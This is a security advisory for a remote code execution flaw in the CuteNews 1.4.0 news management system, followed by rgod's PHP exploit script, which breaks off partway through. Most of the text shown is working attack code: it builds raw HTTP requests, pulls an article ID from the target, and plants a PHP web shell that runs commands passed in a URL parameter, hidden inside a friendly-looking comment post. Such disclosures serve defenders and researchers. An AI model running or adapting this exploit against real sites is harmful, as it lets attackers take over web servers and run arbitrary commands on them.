"Cute news is a powerful and easy for using news management system that use flat files to store its database. It supports comments, archives, search function, image uploading, backup function, IP banning, flood protection and more..."
Lack of proper parameter filtering and validation allows attackers to execute arbitrary code in CuteNews.
Credit:
The information has been provided by rgod.
Exploit:
<?php
# cutenxpl.php #
# #
# CuteNews 1.4.0(possibly prior versions) remote code execution #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch form Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun Tzu: "In the practical art of war, the best thing of all is to take #
# the enemy's country whole and intact; to shatter and destroy it is not #
# so good. So, too, it is better to recapture an army entire than to destroy #
# it, to capture a regiment, a detachment or a company entire than to destroy #
# them." #
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>'') and ($main<>''))
{
if ($port=='') {$port=80;}
#STEP 1 -> Retrieve an article id
if ($proxy=='')
{$packet="GET ".$path.$main." HTTP/1.0 \r\n";}
else
{$packet="GET ".$host.$path.$main." HTTP/1.0 \r\n";}
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //show the packet for debugging purposes
sendpacket($packet);
$temp=explode("id=",$html);
$temp2=explode("&",$temp[1]);
$articleid=$temp2[0];
echo '<br><br>Article ID -> '.htmlentities($articleid).'<br><br>';
#STEP 2 -> Inject a shell in flood.db.php
$shell='<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>'; //customize it for your own pleasure...
$title=':)'; //comment title
$comment='Very glad to read such a good article! You should win Pulitzer prize!'; //customize here
$data="name=".urlencode($title)."&comments=". urlencode($comment). "&submit=Add+My+Comment&subaction=addcomment&ucat=1&show=";
